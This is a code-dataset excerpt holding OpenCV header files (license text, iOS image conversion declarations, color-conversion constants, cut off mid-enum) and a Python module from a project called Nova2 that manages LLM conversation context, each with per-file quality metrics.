"qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/imgcodecs/ios.h |
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#import <UIKit/UIKit.h>
#import <Accelerate/Accelerate.h>
#import <AVFoundation/AVFoundation.h>
#import <ImageIO/ImageIO.h>
#include "opencv2/core/core.hpp"
//! @addtogroup imgcodecs_ios
//! @{
CV_EXPORTS UIImage* MatToUIImage(const cv::Mat& image);
CV_EXPORTS void UIImageToMat(const UIImage* image,
cv::Mat& m, bool alphaExist = false);
//! @}
| 2,535 | ios | h | en | c | code | {"qsc_code_num_words": 330, "qsc_code_num_chars": 2535.0, "qsc_code_mean_word_length": 5.40606061, "qsc_code_frac_words_unique": 0.53030303, "qsc_code_frac_chars_top_2grams": 0.02017937, "qsc_code_frac_chars_top_3grams": 0.03139013, "qsc_code_frac_chars_top_4grams": 0.03363229, "qsc_code_frac_chars_dupe_5grams": 0.14237668, "qsc_code_frac_chars_dupe_6grams": 0.07623318, "qsc_code_frac_chars_dupe_7grams": 0.07623318, "qsc_code_frac_chars_dupe_8grams": 0.07623318, "qsc_code_frac_chars_dupe_9grams": 0.07623318, "qsc_code_frac_chars_dupe_10grams": 0.07623318, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00625301, "qsc_code_frac_chars_whitespace": 0.17988166, "qsc_code_size_file_byte": 2535.0, "qsc_code_num_lines": 57.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 44.47368421, "qsc_code_frac_chars_alphabet": 0.85185185, "qsc_code_frac_chars_comments": 0.86706114, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0625, "qsc_code_frac_chars_long_word_length": 0.0625, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.25, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.375, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/imgcodecs/imgcodecs.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifdef __OPENCV_BUILD
#error this is a compatibility header which should not be used inside the OpenCV library
#endif
#include "opencv2/imgcodecs.hpp"
| 2,371 | imgcodecs | hpp | en | cpp | code | {"qsc_code_num_words": 316, "qsc_code_num_chars": 2371.0, "qsc_code_mean_word_length": 5.37341772, "qsc_code_frac_words_unique": 0.52531646, "qsc_code_frac_chars_top_2grams": 0.01766784, "qsc_code_frac_chars_top_3grams": 0.03003534, "qsc_code_frac_chars_top_4grams": 0.03533569, "qsc_code_frac_chars_dupe_5grams": 0.18138987, "qsc_code_frac_chars_dupe_6grams": 0.08009423, "qsc_code_frac_chars_dupe_7grams": 0.08009423, "qsc_code_frac_chars_dupe_8grams": 0.08009423, "qsc_code_frac_chars_dupe_9grams": 0.08009423, "qsc_code_frac_chars_dupe_10grams": 0.08009423, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00871348, "qsc_code_frac_chars_whitespace": 0.17714045, "qsc_code_size_file_byte": 2371.0, "qsc_code_num_lines": 48.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 49.39583333, "qsc_code_frac_chars_alphabet": 0.86160943, "qsc_code_frac_chars_comments": 0.9350485, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.13636364, "qsc_code_frac_chars_long_word_length": 0.13636364, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.0, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 1.0, "qsc_codecpp_score_lines_no_logic": 0.25, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/context_data.py | """
Description: Holds all data related to context data.
"""
from typing import Generator
from datetime import datetime
from queue import Queue
from enum import Enum
from threading import Thread
import time
from dataclasses import dataclass
from Nova2.app.llm_data import Conversation, Message
from Nova2.app.interfaces import (
ContextSourceBase,
ContextDatapointBase,
ContextBase,
ContextGeneratorBase,
ContextGeneratorListBase
)
class ContextSource(ContextSourceBase):
@classmethod
def get_all_sources(cls) -> list[type]:
return cls.__subclasses__()
@dataclass
class ContextSource_Voice(ContextSource):
speaker: str
class ContextSource_User(ContextSource):
pass
class ContextSource_Assistant(ContextSource):
pass
@dataclass
class ContextSource_ToolResponse(ContextSource):
name: str
id: str
class ContextSource_System(ContextSource):
pass
@dataclass
class ContextDatapoint(ContextDatapointBase):
"""
This class holds a singular datapoint in the context.
"""
source: ContextSource
content: str
timestamp=datetime.now().strftime("%Y-%m-%dT%H:%M:%S")
def to_dict(self) -> dict:
"""
Returns the contents formatted to a dictionary so it can be serialized to json.
"""
# Check if the source contains metadata
if bool(self.source.__dict__):
return {
"source": {
"type": self.source.__class__.__name__,
"metadata": self.source.__dict__
},
"content": self.content,
"timestamp": self.timestamp
}
else:
return {
"source": {
"type": self.source.__class__.__name__
},
"content": self.content,
"timestamp": self.timestamp
}
@dataclass
class Context(ContextBase):
"""
This class stores context which is a list of datapoints all with source, content and timestamp.
"""
data_points: list[ContextDatapoint]
def to_conversation(self) -> Conversation:
"""
Get the context as type Conversation that can be parsed to the LLM.
"""
messages = []
# Thank you python that I am not allowed to use a match-case here.
for datapoint in self.data_points:
if type(datapoint.source) == ContextSource_Assistant:
messages.append(
Message(
author="assistant",
content=datapoint.content # Assistant message does not need a timestamp
))
elif type(datapoint.source) == ContextSource_Voice:
messages.append(
Message(
author="user",
content=f"{datapoint.source.speaker} ({datapoint.timestamp}): {datapoint.content}"
))
elif type(datapoint.source) == ContextSource_User:
messages.append(
Message(
author="user",
content=f"({datapoint.timestamp}) {datapoint.content}"
))
elif type(datapoint.source) == ContextSource_ToolResponse:
messages.append(
Message(
author="tool",
name=datapoint.source.name,
tool_call_id=datapoint.source.id,
content=f"({datapoint.timestamp}) {datapoint.content}"
)
)
elif type(datapoint.source) == ContextSource_System:
messages.append(
Message(
author="system",
content=f"{datapoint.timestamp}: {datapoint.content}"
)
)
else:
raise Exception(f"Could not format context to conversation. Unknown source: {type(datapoint.source)}")
return Conversation(messages)
@dataclass
class ContextGenerator(ContextGeneratorBase):
"""
Holds the data generator produced by a context generator. Yields ContextDatapoint.
"""
_generator: Generator
def data(self):
"""
Begins to yield the data generated by the generator.
"""
for datapoint in self._generator:
yield datapoint
class ContextGeneratorList(ContextGeneratorListBase):
def __init__(self) -> None:
"""
Manages a dynamic thread-safe list of context sources that can be iterated through.
"""
self._index = 0
self._sources = []
self._command_queue = Queue()
self._worker_thread = Thread(target=self._worker, daemon=True)
self._worker_thread.start()
def add(self, context_source: ContextGeneratorBase) -> None:
self._command_queue.put((ListCommands.ADD, context_source))
def remove(self, context_source: ContextGeneratorBase) -> None:
self._command_queue.put((ListCommands.REMOVE, context_source))
def get_next(self) -> ContextDatapoint:
result = Queue()
self._command_queue.put((ListCommands.GET_NEXT, result))
return result.get()
def _worker(self):
while True:
command = self._command_queue.get()
match command[0]:
case ListCommands.ADD:
self._sources.append(command[1].data())
case ListCommands.REMOVE:
index = self._sources.index(command[1])
self._sources.remove(command[1])
if index < self._index:
self._index -= 1
case ListCommands.GET_NEXT:
result = None
while not result:
if len(self._sources) == 0:
break
try:
result = next(self._sources[self._index])
except StopIteration:
self._sources.remove(self._sources[self._index])
command[1].put(result) # Return the next item from the context source and then move onto the next source
self._index += 1
# Prevent over and underflow
if self._index < 0:
self._index = len(self._sources) - 1
elif self._index >= len(self._sources):
self._index = 0
time.sleep(0.1)
class ListCommands(Enum):
ADD = "add"
REMOVE = "remove"
GET_NEXT = "get_next" | 6,697 | context_data | py | en | python | code | {"qsc_code_num_words": 629, "qsc_code_num_chars": 6697.0, "qsc_code_mean_word_length": 5.81399046, "qsc_code_frac_words_unique": 0.26550079, "qsc_code_frac_chars_top_2grams": 0.02461034, "qsc_code_frac_chars_top_3grams": 0.03117309, "qsc_code_frac_chars_top_4grams": 0.04375171, "qsc_code_frac_chars_dupe_5grams": 0.20617993, "qsc_code_frac_chars_dupe_6grams": 0.17528028, "qsc_code_frac_chars_dupe_7grams": 0.14191961, "qsc_code_frac_chars_dupe_8grams": 0.12277823, "qsc_code_frac_chars_dupe_9grams": 0.10117583, "qsc_code_frac_chars_dupe_10grams": 0.08203445, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00370285, "qsc_code_frac_chars_whitespace": 0.35478572, "qsc_code_size_file_byte": 6697.0, "qsc_code_num_lines": 211.0, "qsc_code_num_chars_line_max": 125.0, "qsc_code_num_chars_line_mean": 31.73933649, "qsc_code_frac_chars_alphabet": 0.84262902, "qsc_code_frac_chars_comments": 0.12318949, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.24666667, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07023061, "qsc_code_frac_chars_long_word_length": 0.02480783, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.06, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.02, "qsc_codepython_frac_lines_import": 0.06, "qsc_codepython_frac_lines_simplefunc": 0.006666666666666667, "qsc_codepython_score_lines_no_logic": 0.3, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/imgproc/types_c.h | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_IMGPROC_TYPES_C_H
#define OPENCV_IMGPROC_TYPES_C_H
#include "opencv2/core/core_c.h"
#ifdef __cplusplus
extern "C" {
#endif
/** @addtogroup imgproc_c
@{
*/
/** Connected component structure */
typedef struct CvConnectedComp
{
double area; /**<area of the connected component */
CvScalar value; /**<average color of the connected component */
CvRect rect; /**<ROI of the component */
CvSeq* contour; /**<optional component boundary
(the contour might have child contours corresponding to the holes)*/
}
CvConnectedComp;
/** Image smooth methods */
enum SmoothMethod_c
{
/** linear convolution with \f$\texttt{size1}\times\texttt{size2}\f$ box kernel (all 1's). If
you want to smooth different pixels with different-size box kernels, you can use the integral
image that is computed using integral */
CV_BLUR_NO_SCALE =0,
/** linear convolution with \f$\texttt{size1}\times\texttt{size2}\f$ box kernel (all
1's) with subsequent scaling by \f$1/(\texttt{size1}\cdot\texttt{size2})\f$ */
CV_BLUR =1,
/** linear convolution with a \f$\texttt{size1}\times\texttt{size2}\f$ Gaussian kernel */
CV_GAUSSIAN =2,
/** median filter with a \f$\texttt{size1}\times\texttt{size1}\f$ square aperture */
CV_MEDIAN =3,
/** bilateral filter with a \f$\texttt{size1}\times\texttt{size1}\f$ square aperture, color
sigma= sigma1 and spatial sigma= sigma2. If size1=0, the aperture square side is set to
cvRound(sigma2\*1.5)\*2+1. See cv::bilateralFilter */
CV_BILATERAL =4
};
/** Filters used in pyramid decomposition */
enum
{
CV_GAUSSIAN_5x5 = 7
};
/** Special filters */
enum
{
CV_SCHARR =-1,
CV_MAX_SOBEL_KSIZE =7
};
/** Constants for color conversion */
enum
{
CV_BGR2BGRA =0,
CV_RGB2RGBA =CV_BGR2BGRA,
CV_BGRA2BGR =1,
CV_RGBA2RGB =CV_BGRA2BGR,
CV_BGR2RGBA =2,
CV_RGB2BGRA =CV_BGR2RGBA,
CV_RGBA2BGR =3,
CV_BGRA2RGB =CV_RGBA2BGR,
CV_BGR2RGB =4,
CV_RGB2BGR =CV_BGR2RGB,
CV_BGRA2RGBA =5,
CV_RGBA2BGRA =CV_BGRA2RGBA,
CV_BGR2GRAY =6,
CV_RGB2GRAY =7,
CV_GRAY2BGR =8,
CV_GRAY2RGB =CV_GRAY2BGR,
CV_GRAY2BGRA =9,
CV_GRAY2RGBA =CV_GRAY2BGRA,
CV_BGRA2GRAY =10,
CV_RGBA2GRAY =11,
CV_BGR2BGR565 =12,
CV_RGB2BGR565 =13,
CV_BGR5652BGR =14,
CV_BGR5652RGB =15,
CV_BGRA2BGR565 =16,
CV_RGBA2BGR565 =17,
CV_BGR5652BGRA =18,
CV_BGR5652RGBA =19,
CV_GRAY2BGR565 =20,
CV_BGR5652GRAY =21,
CV_BGR2BGR555 =22,
CV_RGB2BGR555 =23,
CV_BGR5552BGR =24,
CV_BGR5552RGB =25,
CV_BGRA2BGR555 =26,
CV_RGBA2BGR555 =27,
CV_BGR5552BGRA =28,
CV_BGR5552RGBA =29,
CV_GRAY2BGR555 =30,
CV_BGR5552GRAY =31,
CV_BGR2XYZ =32,
CV_RGB2XYZ =33,
CV_XYZ2BGR =34,
CV_XYZ2RGB =35,
CV_BGR2YCrCb =36,
CV_RGB2YCrCb =37,
CV_YCrCb2BGR =38,
CV_YCrCb2RGB =39,
CV_BGR2HSV =40,
CV_RGB2HSV =41,
CV_BGR2Lab =44,
CV_RGB2Lab =45,
CV_BayerBG2BGR =46,
CV_BayerGB2BGR =47,
CV_BayerRG2BGR =48,
CV_BayerGR2BGR =49,
CV_BayerBG2RGB =CV_BayerRG2BGR,
CV_BayerGB2RGB =CV_BayerGR2BGR,
CV_BayerRG2RGB =CV_BayerBG2BGR,
CV_BayerGR2RGB =CV_BayerGB2BGR,
CV_BGR2Luv =50,
CV_RGB2Luv =51,
CV_BGR2HLS =52,
CV_RGB2HLS =53,
CV_HSV2BGR =54,
CV_HSV2RGB =55,
CV_Lab2BGR =56,
CV_Lab2RGB =57,
CV_Luv2BGR =58,
CV_Luv2RGB =59,
CV_HLS2BGR =60,
CV_HLS2RGB =61,
CV_BayerBG2BGR_VNG =62,
CV_BayerGB2BGR_VNG =63,
CV_BayerRG2BGR_VNG =64,
CV_BayerGR2BGR_VNG =65,
CV_BayerBG2RGB_VNG =CV_BayerRG2BGR_VNG,
CV_BayerGB2RGB_VNG =CV_BayerGR2BGR_VNG,
CV_BayerRG2RGB_VNG =CV_BayerBG2BGR_VNG,
CV_BayerGR2RGB_VNG =CV_BayerGB2BGR_VNG,
CV_BGR2HSV_FULL = 66,
CV_RGB2HSV_FULL = 67,
CV_BGR2HLS_FULL = 68,
CV_RGB2HLS_FULL = 69,
CV_HSV2BGR_FULL = 70,
CV_HSV2RGB_FULL = 71,
CV_HLS2BGR_FULL = 72,
CV_HLS2RGB_FULL = 73,
CV_LBGR2Lab = 74,
CV_LRGB2Lab = 75,
CV_LBGR2Luv = 76,
CV_LRGB2Luv = 77,
CV_Lab2LBGR = 78,
CV_Lab2LRGB = 79,
CV_Luv2LBGR = 80,
CV_Luv2LRGB = 81,
CV_BGR2YUV = 82,
CV_RGB2YUV = 83,
CV_YUV2BGR = 84,
CV_YUV2RGB = 85,
CV_BayerBG2GRAY = 86,
CV_BayerGB2GRAY = 87,
CV_BayerRG2GRAY = 88,
CV_BayerGR2GRAY = 89,
//YUV 4:2:0 formats family
CV_YUV2RGB_NV12 = 90,
CV_YUV2BGR_NV12 = 91,
CV_YUV2RGB_NV21 = 92,
CV_YUV2BGR_NV21 = 93,
CV_YUV420sp2RGB = CV_YUV2RGB_NV21,
CV_YUV420sp2BGR = CV_YUV2BGR_NV21,
CV_YUV2RGBA_NV12 = 94,
CV_YUV2BGRA_NV12 = 95,
CV_YUV2RGBA_NV21 = 96,
CV_YUV2BGRA_NV21 = 97,
CV_YUV420sp2RGBA = CV_YUV2RGBA_NV21,
CV_YUV420sp2BGRA = CV_YUV2BGRA_NV21,
CV_YUV2RGB_YV12 = 98,
CV_YUV2BGR_YV12 = 99,
CV_YUV2RGB_IYUV = 100,
CV_YUV2BGR_IYUV = 101,
CV_YUV2RGB_I420 = CV_YUV2RGB_IYUV,
CV_YUV2BGR_I420 = CV_YUV2BGR_IYUV,
CV_YUV420p2RGB = CV_YUV2RGB_YV12,
CV_YUV420p2BGR = CV_YUV2BGR_YV12,
CV_YUV2RGBA_YV12 = 102,
CV_YUV2BGRA_YV12 = 103,
CV_YUV2RGBA_IYUV = 104,
CV_YUV2BGRA_IYUV = 105,
CV_YUV2RGBA_I420 = CV_YUV2RGBA_IYUV,
CV_YUV2BGRA_I420 = CV_YUV2BGRA_IYUV,
CV_YUV420p2RGBA = CV_YUV2RGBA_YV12,
CV_YUV420p2BGRA = CV_YUV2BGRA_YV12,
CV_YUV2GRAY_420 = 106,
CV_YUV2GRAY_NV21 = CV_YUV2GRAY_420,
CV_YUV2GRAY_NV12 = CV_YUV2GRAY_420,
CV_YUV2GRAY_YV12 = CV_YUV2GRAY_420,
CV_YUV2GRAY_IYUV = CV_YUV2GRAY_420,
CV_YUV2GRAY_I420 = CV_YUV2GRAY_420,
CV_YUV420sp2GRAY = CV_YUV2GRAY_420,
CV_YUV420p2GRAY = CV_YUV2GRAY_420,
//YUV 4:2:2 formats family
CV_YUV2RGB_UYVY = 107,
CV_YUV2BGR_UYVY = 108,
//CV_YUV2RGB_VYUY = 109,
//CV_YUV2BGR_VYUY = 110,
CV_YUV2RGB_Y422 = CV_YUV2RGB_UYVY,
CV_YUV2BGR_Y422 = CV_YUV2BGR_UYVY,
CV_YUV2RGB_UYNV = CV_YUV2RGB_UYVY,
CV_YUV2BGR_UYNV = CV_YUV2BGR_UYVY,
CV_YUV2RGBA_UYVY = 111,
CV_YUV2BGRA_UYVY = 112,
//CV_YUV2RGBA_VYUY = 113,
//CV_YUV2BGRA_VYUY = 114,
CV_YUV2RGBA_Y422 = CV_YUV2RGBA_UYVY,
CV_YUV2BGRA_Y422 = CV_YUV2BGRA_UYVY,
CV_YUV2RGBA_UYNV = CV_YUV2RGBA_UYVY,
CV_YUV2BGRA_UYNV = CV_YUV2BGRA_UYVY,
CV_YUV2RGB_YUY2 = 115,
CV_YUV2BGR_YUY2 = 116,
CV_YUV2RGB_YVYU = 117,
CV_YUV2BGR_YVYU = 118,
CV_YUV2RGB_YUYV = CV_YUV2RGB_YUY2,
CV_YUV2BGR_YUYV = CV_YUV2BGR_YUY2,
CV_YUV2RGB_YUNV = CV_YUV2RGB_YUY2,
CV_YUV2BGR_YUNV = CV_YUV2BGR_YUY2,
CV_YUV2RGBA_YUY2 = 119,
CV_YUV2BGRA_YUY2 = 120,
CV_YUV2RGBA_YVYU = 121,
CV_YUV2BGRA_YVYU = 122,
CV_YUV2RGBA_YUYV = CV_YUV2RGBA_YUY2,
CV_YUV2BGRA_YUYV = CV_YUV2BGRA_YUY2,
CV_YUV2RGBA_YUNV = CV_YUV2RGBA_YUY2,
CV_YUV2BGRA_YUNV = CV_YUV2BGRA_YUY2,
CV_YUV2GRAY_UYVY = 123,
CV_YUV2GRAY_YUY2 = 124,
//CV_YUV2GRAY_VYUY = CV_YUV2GRAY_UYVY,
CV_YUV2GRAY_Y422 = CV_YUV2GRAY_UYVY,
CV_YUV2GRAY_UYNV = CV_YUV2GRAY_UYVY,
CV_YUV2GRAY_YVYU = CV_YUV2GRAY_YUY2,
CV_YUV2GRAY_YUYV = CV_YUV2GRAY_YUY2,
CV_YUV2GRAY_YUNV = CV_YUV2GRAY_YUY2,
// alpha premultiplication
CV_RGBA2mRGBA = 125,
CV_mRGBA2RGBA = 126,
CV_RGB2YUV_I420 = 127,
CV_BGR2YUV_I420 = 128,
CV_RGB2YUV_IYUV = CV_RGB2YUV_I420,
CV_BGR2YUV_IYUV = CV_BGR2YUV_I420,
CV_RGBA2YUV_I420 = 129,
CV_BGRA2YUV_I420 = 130,
CV_RGBA2YUV_IYUV = CV_RGBA2YUV_I420,
CV_BGRA2YUV_IYUV = CV_BGRA2YUV_I420,
CV_RGB2YUV_YV12 = 131,
CV_BGR2YUV_YV12 = 132,
CV_RGBA2YUV_YV12 = 133,
CV_BGRA2YUV_YV12 = 134,
// Edge-Aware Demosaicing
CV_BayerBG2BGR_EA = 135,
CV_BayerGB2BGR_EA = 136,
CV_BayerRG2BGR_EA = 137,
CV_BayerGR2BGR_EA = 138,
